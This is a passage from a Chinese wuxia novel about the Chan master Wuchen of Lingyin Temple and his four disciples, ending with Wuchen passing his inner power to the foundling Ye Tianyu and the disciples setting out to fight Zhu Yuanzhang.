绵不绝,一个个吓得瞠目结舌面容失色,数十万匹战马万马齐喑,忽必烈在帐中惊魂未定,听到连绵不断的长啸声,不禁伸手擦了擦额头的冷汗,心中暗道侥幸。无尘禅师出了蒙古军营,施展身法,功夫不大,已经到了杭州将军王坚的府邸,待侍卫通报后,进了将军府与王坚见面,王坚接过无尘禅师递过的文书,认真的看了两遍,道:“禅师法力高深,普渡众生,救了杭州城十几万军民,我王坚给你磕头了。”说罢,噗通跪倒,就要给无尘禅师磕头,无尘禅师连忙伸手将王坚拉起,道:“王将军高风亮节,这三年领着杭州军民,拼死血战,实乃我民族的大英雄,我怎敢受你跪拜?”两人坐到后,又商议如何开门议和,等到第二天,忽必烈诏书公告天下,无尘禅师所说的三个条件,一字不漏写在诏书之上,杭州城的军民得知后,也都知道此事是无尘禅师所为,城中军民齐齐跪倒,口称无尘活佛。三日后,杭州城城门大开,忽必烈派十万将士进城接受议和,到了城中之后,十万蒙古将士秋毫无犯,顺利交接议和,在杭州将军府门前,主将王坚,副将李进昂首站立,城中军民都自发的围在两人身边,王坚,李进两人齐声道:“我王坚,李进身受皇恩,今日议和,非我王坚李进贪生怕死,实在是能力有限,上不能复兴国家,下不能护佑百姓,有何面目再活于世间?”说罢,两人抽出佩剑,横剑自刎,无尘禅师想出手相救,却已经来不及了,周边的军民,齐齐拜倒,哭泣之声响彻杭州城,忽必烈在城外军营之中听闻此事,心中也是由衷敬佩王坚李进二人,无尘禅师带领城中军民,将两位将军的尸骨埋于灵隐寺山门前,并建了两个大墓,供世人膜拜瞻仰。忽必烈心中也是由衷敬佩王坚李进二人忠义,加上又想收揽杭州一带民心,于是亲自到墓前礼拜,并赐名:“双烈祠。”此后数十年间,城中幸存的十几万军民和老弱妇孺靠无尘禅师争取来的十万亩永不纳税的良田,休养生息,十几万军民和老弱妇孺感念无尘禅师的恩德,自发为灵隐寺进献香火钱,重塑灵隐寺众佛金身。此时,无尘禅师已过花甲之年,心想自己一身绝技,总不能后继无人,但庙中的僧侣大多都潜心佛法,对医学武功无心钻研,以至于无尘禅师两项绝技后继无人,于是便收了王进的五岁重孙王定国为弟子,赐名青面狮,在灵隐寺中传授王定国罗汉锁龙枪,王定国进了灵隐寺后,深感无尘禅师厚恩,日日勤学苦练,数年后,无尘禅师又收了李进的四岁重孙李安邦为弟子,赐名金毛犼,传授李安邦金刚降虎锏,王定国和李安邦在灵隐寺学艺十几年,王定国十八岁艺满出师,征得无尘禅师允准,成立一个帮会,名叫西湖会,由王定国当了会主,李安邦做了副会主,二人仪表出众相貌堂堂,收了一批原来杭州城守城将士的后代,由王定国李安邦传授武艺,从中挑了十三个资质出色武艺高强的会众,称为西湖会十三太保,这十三太保每人手下,又招了四五十名当年守城军民后代,至此西湖会已有会众六七百人,成为杭州最年轻的帮会,西湖会秉承无尘禅师的侠义精神,行侠仗义,锄强扶弱,在杭州一带名声极佳,此时张士诚已经起兵占据浙江,江苏一带,自称吴王,张士诚出身盐户,以操舟运盐为业。为人仁义诚信侠名远播,于至正十三年(公元1353年),召集众人起兵反元,攻克泰州、兴化、高邮,拥有数万部下。至正十四年(公元1354年)正月,在高邮自称诚王,建国大周,定年号“天祐”。至正十六年(公元1356年),改平江为隆平府,并将其设为都城,张士诚有一嫡子名叫张仁凤,年方十岁出头,已经被立为吴王世子,张士诚对无尘禅师的事迹如雷贯耳,万分敬仰,于是便带着儿子张仁凤到灵隐寺拜见无尘禅师,恳请无尘禅师收张仁凤为弟子,无尘禅师素知张士诚为人忠厚仁义,爱民如子,于是便收下张仁凤为三弟子,赐名灵牙白象,传授张仁凤三十六路天罡剑法,张仁凤生性仁厚,谦虚低调,平易近人,在灵隐寺也是勤学苦练,时常也去西湖会与两个师兄相聚,相谈甚欢,转眼间,无尘禅师已经年过八十,这日正在禅房阅读佛经,这时候,一名僧侣匆匆来报:“禀告禅师,王定国求见。”无尘禅师道:“让他进来。”功夫不大,大弟子王定国匆匆来到禅房,见到禅师后,跪拜行礼,道:“弟子拜见祖师。”无尘禅师道:“定国,你今日来此,所为何事?”王定国道:“祖父病逝,特来告知祖师。”无尘禅师自王坚自刎身亡后,对王坚家人也是多加照顾,王进之子王向舟,对无尘禅师也是执弟子之礼,十分尊敬,两人友情十分浓厚,今日听说王向舟亡故,不由得心中伤感,对王定国道:“定国,你节哀顺变,我亲自去你家中,为你祖父做法事。”王定国连连拜谢,无尘禅师带着十几名僧人,去了王定国家中,亲自为王向舟做了一天的法事,傍晚时分,王定国和父亲请无尘禅师留宿,无尘禅师道:“自古七十不留宿,我还是回去为好。”王家见挽留不住,只能千恩万谢,安排车马送无尘禅师回灵隐寺,无尘禅师一行人坐着车马往回赶,快要到双烈祠的时候,突然狂风大作,暴雨倾盆,马匹受惊,再也不肯往前,无尘禅师吩咐道:“莫要勉强,我们先到双烈祠避避雨。”众人撑起雨伞,护着无尘禅师到了双烈祠中避雨,进入双烈祠后,众人寻了个石凳请无尘禅师坐下,无尘禅师刚刚落座,却听到耳边传来一声婴儿的啼哭,无尘禅师吩咐道:“你们去看一看,为何有婴儿啼哭?”随行的一名僧人上前查看,片刻功夫,抱着一个裹着棉被的婴儿,来到无尘禅师面前道:“禅师,这里有一个弃婴。”无尘禅师道:“哦,可有什么说法?”僧人道:“棉被里塞了一个纸条,说孩子名叫叶天羽,因为家境贫寒,无力抚养,请好心人收养,跪拜叩谢。”无尘禅师道:“是男婴还是女婴?”僧人答道:“是男婴。”无尘禅师闻言,情不自禁的心中一颤,触景生情,回想几十年前,自己也是刚出生,便被丢弃到灵隐寺门前,幸得师傅收养,才能活到今天,于是吩咐道:“将这孩儿抱到寺中,用米汤喂养,明日在寺外,寻个奶妈寄养。”僧人点头答应,等雨停后,无尘禅师一行人带着婴儿,坐上马车,功夫不大,到了灵隐寺,安顿好婴儿后,各人回房休息。”第二天下午,无尘禅师正在禅房诵经,昨日随行的一名僧人匆匆来到,躬身行礼道:“禅师,有事回禀。”无尘禅师道:“讲。”僧人道:“昨日带回的那名婴儿,今日一早送到寺外寄养,为他寻了个奶妈,刚才那奶妈派人前来回报,说那婴儿食量太大,一个奶妈根本就喂不饱他。”无尘禅师淡淡道:“不必大惊小怪,再为他寻个奶娘便是。”僧人点头答应后,退出禅房。此后一年,那名婴儿一直由两个奶娘抚养,才勉强吃饱,到了三四岁,饭量已是惊人,如同一个十几岁的少年饮食,待到这名婴儿年满四岁时,无尘禅师命人将他带入寺中,这孩童叶天羽已经知道无尘禅师是救他,并出钱雇奶妈养他的恩人,进入禅房后,对着无尘禅师跪倒,连连磕头,无尘禅师道:“叶天羽,你是愿意继续留在寺外,还是愿意到寺内生活?”叶天羽道:“承蒙祖师爷恩顾,我愿意到寺中生活,追随祖师爷左右。”无尘禅师道:“那你可愿意拜我为师,学习医术,佛经,武功。”叶天羽歪着头,大眼睛眨巴眨巴道:“祖师爷,医术佛经我不想学,我只想跟着您学武功。”无尘禅师道:“你学武功长大干什么?”叶天羽道:“我学了武功,有了本领,以后就像祖师爷一样,行侠仗义,锄奸扶弱。”无尘禅师点点头道:“好,好,那师父再给你赐个绰号,叫金翅大鹏。”叶天羽蒙无尘禅师收归门下,又赐予名号,自是欣喜万分,对着无尘禅师连连磕头。”此后,叶天羽便在灵隐寺中和张仁凤一同学艺,无尘禅师见叶天羽年纪虽小,但是天赋异禀,力气却是极大,比同龄相仿的孩子力气要大上几倍,于是便传授叶天羽一百零八招伏魔杖法,叶天羽不但颖悟绝伦,天资非凡,而且练功持之以恒,锲而不舍,毅力超凡。张仁凤对这个小师弟也是百般照顾,叶天羽自幼被奶娘养大,感觉身边并无什么亲人,现在有了师父,又有了师兄照顾,心中只觉得万分喜悦,所以和张仁凤感情极好,张仁凤和叶天羽练功过后,也经常出寺,去找王定国和李安邦两个师兄相聚,师兄弟四人相处融洽,其乐融融,感情极好。转眼间,几年过去,张仁凤已经艺成下山,叶天羽独自一人在寺中学艺,此时叶天羽已经十岁,这日,叶天羽练功完毕,正在灵隐寺山门前玩耍,忽听前面不远处,哭爹喊娘乱作一团,夹杂着大声谩骂声,叶天羽不由得心中好奇,快步上前查看,只见七八名黑衣壮汉正在对着一老一小两名乞丐拳打脚踢,这一老一小两名乞丐毫无还手之力,只能双手紧抱着脑袋,口中惨叫不断,任由他们殴打,叶天羽一见,禁不住怒从心头起,大声喝道:“住手!不许打人!”七八名壮汉犹如未闻,依然对着两名乞丐拳打脚踢,叶天羽按捺不住心中怒火,一个健步上前,一招指东打西,霎时放倒两名大汉,剩下的五六个大汉,见叶天羽出手不凡,顿时放过那两名乞丐,开始四面围攻叶天羽,叶天羽不慌不忙,沉着冷静,拳似流星,腿如钢鞭,三十招左右,已经打得几名大汉,人仰马翻落花流水,正在此时,有人大声喊道:“都给我退下。”那几名大汉闻言,连忙连滚带爬闪到一旁,只见一对二十多岁年轻男女,容貌俊俏衣着华丽,正眼神凌厉的瞪着叶天羽,叶天羽毫不畏惧,一双大眼睛也炯炯有神的与对方对视,那名年轻男子道:“小兔崽子,你是何人?竟敢管我的闲事。”叶天羽大声道:“大路不平有人铲,你们是什么人?为什么要打这老人家和小孩?”那名年轻男子冷哼一声,道:“小兔崽子,你给我听好了,本少爷乃雁荡山派少掌门穆雁秋,今天来杭州游玩,这两个不知死活的臭乞丐凑到我面前要钱,全身污垢臭气熏人,打扰了本少爷的雅兴,本少爷才让人给他们一点教训,你要是识趣,赶紧给我滚一边去,要不然,本少爷连你一起揍。”叶天羽昂然道:“那位老人家带着小孩子要钱,你若是不想给,不给便是,为何要出手伤人?难道你不知道,恶贯满盈终有报的道理?”穆雁秋呵呵一阵冷笑,道:“乳臭未干的黄毛小儿,你以为凭你这三拳两脚,就可以行侠仗义,为这两个乞丐打抱不平,今天,本少爷就要教训教训你这个不长眼的东西。”说罢,纵身一跃,来到叶天羽面前,摆开架势,对着叶天羽就是一阵狂攻,这穆雁秋身为雁荡山派少掌门,精通雁荡山派镇派绝学先天无极掌,是江浙一带武林,年轻一辈中赫赫有名的武功高手,道法有云:无极生太极,太极生两仪,两仪化四象,四象生八卦,八八六十四卦。所以先天无极掌有八掌,一掌包含八个变化,共有八八六十四掌,特点是身捷如燕,步法轻灵,变化万千,神鬼莫测,与对方交手时,身形起伏拧转,敏捷多变,形如游龙,视若鹰目,站如苍松,动如狡兔,坐如虎踞,转似猿猴。攻击时,手为龙爪之形,主要手法有:推,托,带,领,搬,拦,截,扣,捉,拿,勾,打,封,闭,闪,展,刁,靠十八大法,进退自如,虚实结合,攻守兼备,刚柔相济,变化无穷,每掌发出皆要以腰作轴,全身一体,内外相合,外重眼手身法步,内修心神意气力,处处连贯纵横之道,势势暗合动静之理,阴阳交汇,动静分离,故拳法之精,内功为重,常言说得好:练拳不练功,到老一场空。内功重在于丹田之气,丹田之气若是调顺,则手足轻盈,身体百脉舒畅。这穆雁秋自恃武艺超群,心高气傲目中无人,当着妻子和一众手下面前,更是要显摆卖弄功夫,脚踏七星方位,步走五行轮转,使出游龙摆尾,旋风扫叶,倒拔垂柳,鸿雁出群,白云托桃,闭门推月,黑虎巡山,柳叶摆风,童子穿林,鹞子穿林,青龙探爪,走马回头,狮子滚球,指天插地,蜻蜓点水,青龙回首,蝴蝶穿花,二虎相争诸多妙招,只让人看得眼花缭乱目不暇接,叶天羽不慌不忙,用灵隐寺的天罡伏魔拳沉着应对,当年灵隐寺几位高僧,见此拳取天罡伏魔之姿,故称天罡伏魔拳。主要手法有隔,迫,冲,闪,点,举,压,钩,抄,抛。腿法讲究腾,滚,扫,弹。天罡伏魔拳讲究的是上下相随,步随手变,身如舵摆,变化无穷,拳谚讲的妙:“要想天罡好,三正里面找。”所谓“三正”,是指的手要正,身要正,马(即步)要正,这是基础功夫。练好“三正”,才能保持身立如松招式稳健,天罡伏魔拳共有七十二招,,分为强身健体的三十六招天罡手,和降妖除魔的三十六招伏魔手,三十六招伏魔手以技击为主,结构严丝合缝,功架规正方圆,动作招式纵横连贯。讲究的是:手是两扇门,全凭腿打人,出手降妖不留情,雷霆伏魔现手段,上下旋太极,里外分阴阳;以上破下,以点破面,指左打右,声东击西,虚实不定,快速多变,攻守兼备,刚柔相济,以声助威,以气促力,乃是武林中,鼎鼎有名的一项绝技。穆雁秋和叶天羽你来我往交手上百招,只见叶天羽面不改色心不跳,闲庭信步如等闲,进攻恰似行云流水挥洒自如,防守宛如劲松磐石风雨不漏,穆雁秋心中不免有些急躁,心中暗想:“我自负武艺超群,声名显赫,今日却和一个十岁左右的娃娃打得不相上下,传出去岂不是贻笑大方。”想到这,穆雁秋把心一横,使出先天无极掌的绝招五岳断魂:泰山狂风,华山暴雨,衡山劈雷,恒山闪电,叶天羽见掌势凶猛,不敢大意,连忙连格带挡左闪右避,小心应对,穆雁秋气沉丹田,一声怒吼,疾步如风身形似电,将全身之力贯注双掌,一招嵩山开天,双掌带着破风之声直奔叶天羽前胸而来,叶天羽再想躲避,已然不及,于是把心一横,气运双掌,迎面硬刚,两人四掌相交,只听轰的一声巨响,围观众人定睛一看,只见叶天羽站在原地稳如磐石,穆雁秋腾腾腾连退七八步,扑通一声跌坐在地,哇的一声,吐出一大口鲜血,穆雁秋的妻子和手下见状,顿时大惊失色,连忙上前搀扶,穆雁秋被搀扶起来,眼神怨毒,盯着叶天羽道:“我学艺不精,今日甘拜下风,请问阁下尊姓大名?以后青山绿水,我们江湖再见。”叶天羽昂然道:“我乃灵隐寺无尘禅师门下四弟子金翅大鹏叶天羽,你若是不服,日后随时来灵隐寺找我。”穆雁秋点点头,带领妻子和手下狼狈不堪含恨离去,那一老一小两名乞丐,强忍身上疼痛,上前跪拜,叩谢叶天羽搭救之恩。 两年后,叶天羽已经年满十二岁,这日,叶天羽练功完毕,禀告无尘禅师允准后,出了灵隐寺,直奔西湖而去,准备去找两个师兄相聚,西湖在中国历史上声名显赫,古语有云:“上有天堂下有苏杭,把杭州比作天堂,是因为杭州有一个风景如画美不胜收的西湖,西湖十景中的断桥残雪,柳浪闻莺,苏堤春晓,三潭印月,平湖秋月等美景,更是让人沉浸其中流连忘返,不但有白居易,苏东坡等众多名人留下的大量赞美西湖的诗词,更有济公,许仙白娘子等神话传说,叶天羽行到西湖断桥处,只听到前面有人大声喧哗人声鼎沸,叫好声,喝彩声不绝于耳,叶天羽循声望去,只见前面围着老大一群人,也不知道在干些什么,叶天羽心中好奇,三步并作两步,挤到人群中一看,原来中间好大一块空地,地上插着一面旗帜,白底红边,上面绣着四个金色大字:江湖卖艺。旗帜旁边,一对三十多岁夫妻正在敲锣打鼓,场地中央,两个十六七岁少女,一个红衣少女使枪,另一个绿衣少女使刀,眉眼十分相似,一看便是姐妹,两姐妹长得柳叶弯眉,樱桃小嘴,明眸皓齿,杏脸桃腮,活脱脱两位美貌秀丽的小家碧玉,这姐妹二人你来我往枪挑刀架,打得精彩纷呈不亦乐乎,那名红衣少女年纪不大,却已颇得枪法精髓,只见她刺,打,挑,拦,搠,攒,架,闭,遮,挡,枪尖寒光闪闪,枪缨红线团团,招数巧妙灵动,变幻万千,好一路精巧枪法!再看那名绿衣少女,使得一对鸳鸯双刀,鸳鸯刀法以撩,砍,抹,剁,劈,崩,钩,挂为主,以扎,切,绞,架,扫为辅,只见绿衣少女身似灵鹊,刀如游蛇,静如处子动如脱兔,身随刀动人刀合一,好一套奥妙刀功!围观众人和叶天羽纷纷鼓掌叫好,正在此时,人群外,来了二三十名军校,一个个如狼似虎凶神恶煞,将围观众人推推搡搡赶到一边,为首一人,三十岁左右,虎背熊腰,身着将军服饰,煞眉瞪目满脸骄横,来到场边,也在仔细观看,只见两名少女招式使完,放下刀枪,各拿一个盘子,来到场边要个打赏,围观众人纷纷掏出铜钱,扔到盘中,叶天羽也掏了十几文铜钱送上,等红衣少女到了那名将军面前,那名将军满脸□□,双眼色眯眯的盯着红衣少女,红衣少女见状,心中害怕,也不敢讨要赏钱,转身想走,不料被那将军伸手拦住,道:“小娘子,怎么不找我要打赏?”红衣少女道:“我们学艺不精,微末武艺,不入将军法眼,不敢请将军赐给赏钱。”那名将军哈哈大笑,道:“小娘子,我乃吴王千岁手下杭州城守城副将宋天宝,三王爷张士信是我的义父, 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我看你长得如花似玉花容月貌,何苦在江湖上卖艺?不如跟了本将军,以后吃香的喝辣的,享不尽的荣华富贵。”红衣少女闻言,脸色一寒,转身就走,这宋天宝是张士诚三弟张士信的义子,武艺超群本领出众,在张士诚军中,是屈指可数的高手猛将,此时的宋天宝已经色迷心窍,怎肯轻易放过,抬腿上前伸手就抓,红衣少女侧身闪过,怒道:“将军请自重。”宋天宝呵呵一笑,道:“小娘子,乖乖随本将军回府。”说罢,又是一手抓去,正在此时,那名三十多岁男子已经疾步上前,伸手挡住宋天宝的手,满脸赔笑道:“将军,我家女儿已经许配人家,我们出来卖艺,是想给女儿赚点陪嫁,请将军大人高抬贵手,放过我们一家。”宋天宝冷冷一笑,道:“本将军看上你的女儿,是你家祖宗八代修来的福气,你他妈的别狗坐轿子不识抬举。”那名男子强忍心中怒气,赔笑道:“将军,我家女儿已经有了父母之命媒妁之言,到年底就要出嫁,请将军高抬~~~,”话没说完,宋天宝一个耳光打来,那名男子连忙侧身躲避,宋天宝面沉似水冷冷道:“尔等携带刀枪,非奸即盗,定然图谋不轨,来人啊,把他们全部拿下,带回去严加审问。”身后的士兵齐声应答,一个个摩拳擦掌,就要上前抓人,围观众人也不敢阻拦,一个个躲到一旁,叶天羽在旁边,看到清清楚楚明明白白,眼看这卖艺的一家四口被吓得手脚无措面容失色,情不自禁热血沸腾,上前两步大喝一声道:“住手,休得无礼!”宋天宝转脸一看,是一名十一二岁少年,于是哈哈大笑,道:“小兔崽子,你叫唤什么?乳臭未干的黄毛小子,也敢坏你爷爷的好事。”叶天羽厉声喝道:“大路不平有人铲,我劝你不要为难这一家几口,早点滚蛋,要不然别怪你家小爷对你们不客气。”宋天宝怒极反笑,道:“小兔崽子,不知道天高地厚,竟然敢管你爷爷的闲事,受死吧。”说罢,一个恶虎掏心,直奔叶天羽而来,叶天羽伸手挡住,宋天宝双拳击出,一招双雷贯耳,带着风声,直奔叶天羽两侧太阳穴而来,叶天羽双臂一架,一招羚羊挂角挡住,宋天宝不等招式用老,脚下一招飞脚连环,直踢叶天羽小腹,叶天羽不慌不忙,眼疾手快,一伸手,已经捞住宋天宝一只脚,宋天宝见自己一只脚被叶天羽捞住,却也虽惊不乱,反而一个借力打力,纵身跃起,另一条腿迅疾如风,一招横扫昆仑,带着破风之声,直奔叶天羽脖颈而来,叶天羽见宋天宝腿势迅猛,也不敢大意,一招力推山河,将宋天宝用力推出,宋天宝人在半空,虽慌不乱,一招立地太岁,站稳身形,宋天宝一声大吼,气沉丹田力运双臂,脚踏八卦方位,施展自己看家本领梅花拳,只见他脚如铁桩拳似流星,使出梅花拳中绝招,白鹤亮翅,猛虎揽食,铁拳穿石,二郎担山,黑虎搅尾,雄鹰盘旋,枯树盘根,张飞横马,众多妙招源源不断,宛如行云流水一般攻向叶天羽,叶天羽抖擞精神,从容应对,左躲右闪,上托下按连遮带挡,化解宋天宝诸多杀招,两人你来我往过了几十招,宋天宝已经有些力不从心,心中暗想:“这小子不知从哪里冒出来的,年纪不大,拳脚力道却是极大,一招一式似有千钧之力,震的自己双臂发麻,看来再打下去,自己恐怕会力有不逮一败涂地。”想到这,宋天宝虚晃一招,跳出场外,对着围在四周的士兵吼道:“兄弟们,给我上。”众士兵一听,霎时一哄而上,开始围攻叶天羽,叶天羽本来不想伤人,所以对宋天宝手下留情,没想到宋天宝不讲武德,竟然命令手下士兵一拥而上,叶天羽闪展腾挪连躲带闪,那些士兵却是不管不顾,追着叶天羽拼命围攻,叶天羽心中恼怒,也就不管三七二十一,开始反击,那些士兵哪是叶天羽对手,功夫不大,已经倒地一大半,宋天宝此时正在场边休整,见手下兵丁倒下一大半,形势不妙,连忙纵身上前,带着剩余的手下,对叶天羽展开疯狂的凌厉攻势,叶天羽正在此时已经难以抑制心中的怒火,也就全力施为,宋天宝勉强还可以抵挡,手下的士兵可就遭了殃,凡是被叶天羽拳脚击中的,都是筋断骨折,正在此时,只见远处,一东一西,各跑来一队人马,转眼功夫,已经来到众人面前,一队是杭州将军李伯升,另一队是王定国李安邦带领的西湖会兄弟,李伯升大声喝令众人住手,众人停手后,李伯升面沉似水,对宋天宝问道:“宋将军,这是怎么一回事?”宋天宝抱拳施礼道:“李将军,我看这几个卖艺的,行迹可疑,所以想带回军营审问个清楚,不知道从哪里冒出来这个小子,竟敢妨碍军务,还打伤我们这么多弟兄,请将军严惩不贷。”李伯升看了看卖艺的一家四口,心中暗想:“这宋天宝一向好色,估计是看上这卖艺的小姑娘,所以才找借口,想抓回去占为己有,自己虽然不齿宋天宝的为人,但是宋天宝是三王爷张世信的义子,极得三王爷张世信的喜爱,所以也不好过于给他难堪。”想到这,李伯升脸色冷峻,对叶天羽道:“小子,你是何方人士,为何要妨碍军务?”没有等叶天羽回话,王定国上前两步,拱手施礼道:“李将军,在下灵隐寺无尘禅师门下大弟子王定国。”又指了指叶天羽道:“这是我的小师弟叶天羽,我小师弟一向奉公守法,定然不会无缘无故妨碍军务,请李将军容我小师弟辩解陈述,请李将军明察秋毫,不要冤枉好人。”李伯升闻言,心中咯噔一下,心想:“这灵隐寺无尘禅师在杭州城一带,可是活佛一般的存在,连世子张仁凤都是他的门下弟子,这王定国不但是世子张仁凤的大师兄,还是杭州西湖会的会主,这西湖会在杭州一带行侠仗义声誉极佳。”想到这,李伯升口气缓和,对叶天羽道:“叶天羽,宋将军说你妨碍军务,你有何话说?”叶天羽闻言,怒目圆睁,瞪着宋天宝,道:“这姓宋的信口雌黄满口谎言,竟然冤枉我妨碍军务,分明是这姓宋的坏蛋,看那个姐姐长的好看,就动手动脚调戏那个姐姐,那位大叔上前说好话,这姓宋的坏蛋不但动手打人,诬陷大叔和姐姐是坏人,还要抓他们回去审问,我看不惯他们欺负人,所以路见不平一声吼,行侠仗义拔刀相助。”李伯升闻言,眉头一皱,瞪了宋天宝一眼,又扭头对着那卖艺的一家人问道:“你们都听见了吗?叶天羽所说是否有虚假?”卖艺的一家四口,此时心中也是七上八下惴惴不安,听到李伯升问话,那名三十多岁男子,上前两步,躬身施礼道:“回大将军的话,小人愿以性命担保,这位小恩公所说,句句属实。”宋天宝在一旁急了,张口就要说话,李伯升脸色一寒,道:“宋将军不必多言,我心中自有分寸。”然后对王定国道:“王会主,我知道你和我们世子张仁凤是师兄弟,虽然宋将军行事有些不妥,但是自有军规处置,贵师弟打伤我们一众士兵,此事非同小可,王会主要给我一个说法,不然我无法对上面交代。”王定国想了想,道:“李将军,我即刻命人去隆平府,找我三师弟张仁凤安排处理此事,您意下如何?”李伯升闻言,顿时神情一松,道:“王会主,你若是能请得世子出面处理此事,那是最好,免得我夹在中间左右为难。”王定国道:“李将军,请放心,我即刻就办。”李伯升点点头,命人搀扶受伤的兵丁,带着垂头丧气的宋天宝,转身离去,卖艺的一家四口,上前拜谢王定国叶天羽相救之恩,王定国劝慰他们几句,又担心这家人有什么闪失,于是安排手下护送他们离开杭州,又安排人手去隆平府送信,请三师弟张仁凤出面处理此事。张仁凤收到书信后,亲自带领随从,来到杭州,将宋天宝革职,然后又给了一些银两,安抚受伤的士兵,李伯升见世子出面处理,自然是乐个轻松,此事圆满处理结束。张仁凤又和师兄弟一起,到灵隐寺拜见祖师,无尘禅师也已经听闻此事,见叶天羽不畏强权行侠仗义,自然是褒奖有加,又见张仁凤处理的十分妥当,心中自然也是欣喜。 事情过去一个月左右,这日,无尘禅师在禅房中诵经,忽觉头晕目眩,险些跌倒,禅师掐指一算心中已知天命,于是便派僧人去招王定国,李安邦和张仁凤前来,王定国和李安邦接到信后,半个多时辰便赶到寺中,张仁凤第二天夜晚也是快马加鞭赶到,第三天一早,无尘禅师将四名弟子,招至禅房,四名弟子规规矩矩,恭恭敬敬跪到在禅师面前,无尘禅师道:“我大限将至,今日招你们四人前来,是有些话要嘱托你们。”众弟子一听,一个个愕然失色,王定国道:“祖师爷身体康健,何出此言?”其他三人也随声附和,无尘禅师微微一笑道:“人生七十古来稀,为师已经九十多岁了,大限将至,实属正常,我有几句话要嘱托你们,你们一定要牢记在心。”几人齐声应道:“请祖师爷教诲。”无尘禅师道:“你们师兄弟四人,以后一定要团结友爱,相互帮助。”四人齐声答应,无尘禅师接着道:“为师一身天罡纯阳神功,乃几百年前一位神僧所创,需童子之身方可练成,你们三人,都已娶妻生子,为师这身功力输送给你们已是无用,所以我准备将这身天罡纯阳神功输送给天羽,你们三兄弟可有异议?”王定国,李安邦,张仁凤齐声答道:“全凭祖师爷做主。”无尘禅师看着叶天羽道:“天羽,师父将这身内力输送给你,从此以后,天下武林江湖之中,没有几人是你的对手,你须对天发誓,从今以后,要行侠仗义,铲奸除恶,绝不做有违侠道仁义之事。”叶天羽连连叩首,泪流满面道:“祖师爷,我不要您的功力,我只要您老人家健康长寿,百岁延年。”无尘禅师闻言,心中欣慰,微微一笑道:“傻孩子,人生自古终有一死,为师将这身功力输送给你,只要你造福天下苍生,也不枉为师一番苦心,此神功日后你娶妻生子,自会消散,你性格火爆,疾恶如仇,做事过于急躁,以后师父不在了,你凡事须听从大师兄的教诲,绝不可做违背侠义的事情。”叶天羽一边叩头,一边对着无尘禅师发了毒誓,以后定然行侠仗义,绝不违背祖师爷的教诲。”无尘禅师又对王定国道:“定国,你是大师兄,有道是:“长兄如父,以后几个师弟,你要多加照顾,严格管教。”王定国叩首答应。无尘禅师道:“你们三人,到禅房外等候,我来传功给天羽。”三人又跪拜后,出了禅房,在禅房外等候,无尘禅师对叶天羽道:“天羽,师父将这身功力输送给你,普天之下,没有几人是你的对手,你需谨记,凡事要听从大师兄的教诲,不可鲁莽行事,日后你娶妻生子,这天罡纯阳神功,会自行消散。”叶天羽连连叩首道:“祖师爷对我一番苦心,我一定谨记您老人家的话,以后凡事都听从大师兄的教诲,您的功力输送给我,是您老人家对我的恩德,我不能让您老人家苦练一生的神功消散,我以后绝不娶妻。”禅师笑笑道:“傻孩子,日后你遇到喜欢的姑娘,想娶便娶,为师把这身功力给你,只希望可以助你闯荡天下,行侠仗义,而不希望此功变成你的负担。”叶天羽心中暗想:“祖师爷对我恩重如山,将苦练一生的功力输送给我,我怎敢让他老人家的神功消散,我以后不娶妻便是,于是在心中默默发下了誓言,无尘禅师让叶天羽坐在禅床之上,自己坐在叶天羽身后,伸手对着叶天羽后背大穴,然后又认真的嘱咐了叶天羽几句,便开始传功,叶天羽谨记祖师的教诲,只觉得祖师的双手贴在自己背部大穴,一股热流如滔滔江水,连绵不绝涌向自己丹田,叶天羽凝聚心神,按照祖师爷的嘱咐,将丹田中的气流运行到全身奇经八脉之中,原来练功时,丹田之气到任督二脉时,总感觉有心无力,难以突破,现在只觉得任督二脉被丹田之气一冲而过,全身经脉已经打通,叶天羽不敢大意,将丹田之气不断的循环运行至全身经脉,也不知道运行了过久,慢慢感觉到丹田的热流已经遍布全身奇经八脉之中,叶天羽张开双眼,回头一看,只见身后的无尘禅师面带微笑,已经坐化,叶天羽跪倒在地,对着无尘禅师的遗体,连连磕头放声痛哭,门外守护的三人,听到叶天羽哭声,急忙冲入禅房,见此情况,也都噗通跪倒,失声痛哭,王定国毕竟年龄较大,又是大师兄,哭了一会,便站起身形,止住哭声,道:“几位师弟,祖师爷已经仙去,我们还是尽快办理好祖师爷的身后事要紧,大家节哀顺变。”金毛犼李安邦,灵牙白象张仁凤,金翅大鹏叶天羽,听了师兄之言,也都止住哭声,王定国安排李安邦去通知庙中的僧人,为无尘禅师准备后事,无尘禅师圆寂的消息一经传出,整个杭州城内外哭声震天,无数民众都到灵隐寺拜祭,王定国与寺中僧人商定为无尘禅师做七七四十九天法事,几个师弟也听从王定国安排,各司其职,全心全意办理无尘禅师的后事,无尘禅师过世将近一个月时,张仁凤接到父亲张士诚派人传来的消息,说朱元璋领二十万大军来犯,让张仁凤速去前线助阵,张仁凤接到消息,虽然心急如焚,但却坚持要等无尘禅师的法事做完,大师兄王定国劝他道:“我们三兄弟在寺中办理祖师爷的后事就可以了,军情紧急,你速去前线,去帮助你父王对付朱元璋。”张仁凤道:“我身受祖师传艺大恩,岂能为这等世间凡事,而误了祖师法事,待祖师法事做完,我再去前线战场不迟。”王定国见张仁凤情真意切,对祖师爷一片赤诚之心,也就不再坚持,十几天过后,七七四十九天法事完毕,第二天,张仁凤便向王定国等人辞行,王定国气定神闲道:“三师弟,你准备去哪里?”张仁凤道:“大师兄,前线告急,我要立即去前线战场,帮助将士们抵御朱元璋。”王定国微微一笑道:“祖师圆寂前,让我们四兄弟团结友爱,相互帮助,现在你有事了,难道让我们三兄弟置身事外?”我们三兄弟,陪你一起去。”张仁凤本想推辞,担心几位师兄弟卷入战场,但是转念一想,朱元璋手下兵多将广,猛将如云,极难对付,自己的几个师兄弟个个武艺高强本领非凡,有他们助阵,定然可以旗开得胜马到功成,所以也就不再推辞。 5. 第 5 章 第五章:金鹏对敌 